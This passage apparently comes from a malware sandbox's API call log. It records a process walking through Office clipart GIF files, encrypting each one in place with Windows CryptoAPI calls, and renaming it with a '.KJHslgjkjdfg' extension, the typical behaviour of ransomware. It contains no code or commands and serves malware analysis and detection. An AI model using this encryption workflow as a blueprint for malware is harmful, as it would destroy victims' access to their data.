lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.423] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.423] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2313, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2313, lpOverlapped=0x0) returned 1 [0219.424] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2320, dwBufLen=0x2320 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2320) returned 1 [0219.424] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.424] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2320, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2320, lpOverlapped=0x0) returned 1 [0219.424] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.424] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x23f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.424] SetEndOfFile (hFile=0x138) returned 1 [0219.426] GetProcessHeap () returned 0x990000 [0219.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.427] GetProcessHeap () returned 0x990000 [0219.427] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.kjhslgjkjdfg")) returned 1 [0219.428] CloseHandle (hObject=0x138) returned 1 [0219.428] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0219.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.430] GetProcessHeap () returned 0x990000 [0219.430] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.430] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.430] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.430] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0219.432] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.432] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.432] GetProcessHeap () returned 0x990000 [0219.432] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.432] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.432] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.432] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.432] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.432] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.432] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.432] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.433] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.433] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.433] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.433] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.433] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1f8f, lpOverlapped=0x0) returned 1 [0219.434] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f90) returned 1 [0219.434] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.434] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1f90, lpOverlapped=0x0) returned 1 [0219.434] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.434] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.434] SetEndOfFile (hFile=0x138) returned 1 [0219.436] GetProcessHeap () returned 0x990000 [0219.436] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.436] GetProcessHeap () returned 0x990000 [0219.436] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.kjhslgjkjdfg")) returned 1 [0219.438] CloseHandle (hObject=0x138) returned 1 [0219.438] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0219.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.439] GetProcessHeap () returned 0x990000 [0219.439] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.439] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.439] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.439] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0219.441] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.441] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.441] GetProcessHeap () returned 0x990000 [0219.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.441] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.441] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.441] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.441] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.441] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.442] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.442] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.442] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.442] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.442] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.442] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.442] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe1d, lpOverlapped=0x0) returned 1 [0219.442] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe20, dwBufLen=0xe20 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe20) returned 1 [0219.442] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.442] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe20, lpOverlapped=0x0) returned 1 [0219.442] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.442] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.442] SetEndOfFile (hFile=0x138) returned 1 [0219.444] GetProcessHeap () returned 0x990000 [0219.444] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.444] GetProcessHeap () returned 0x990000 [0219.444] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.kjhslgjkjdfg")) returned 1 [0219.446] CloseHandle (hObject=0x138) returned 1 [0219.446] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0219.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.448] GetProcessHeap () returned 0x990000 [0219.448] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.448] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.448] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.448] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.450] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.450] GetProcessHeap () returned 0x990000 [0219.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.450] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.450] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.450] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.450] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.450] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.450] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.451] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.451] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.451] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.451] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.451] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.451] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x38c, lpOverlapped=0x0) returned 1 [0219.451] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x390, dwBufLen=0x390 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x390) returned 1 [0219.451] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.451] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x390, lpOverlapped=0x0) returned 1 [0219.451] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.451] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.451] SetEndOfFile (hFile=0x138) returned 1 [0219.453] GetProcessHeap () returned 0x990000 [0219.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.453] GetProcessHeap () returned 0x990000 [0219.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.kjhslgjkjdfg")) returned 1 [0219.455] CloseHandle (hObject=0x138) returned 1 [0219.455] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0219.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.456] GetProcessHeap () returned 0x990000 [0219.456] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.456] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.456] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.457] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0219.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.458] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.458] GetProcessHeap () returned 0x990000 [0219.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.458] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.458] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.458] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.458] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.459] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.459] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.459] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.459] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.459] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.459] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.459] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.459] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x987, lpOverlapped=0x0) returned 1 [0219.459] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x990, dwBufLen=0x990 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x990) returned 1 [0219.459] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.459] 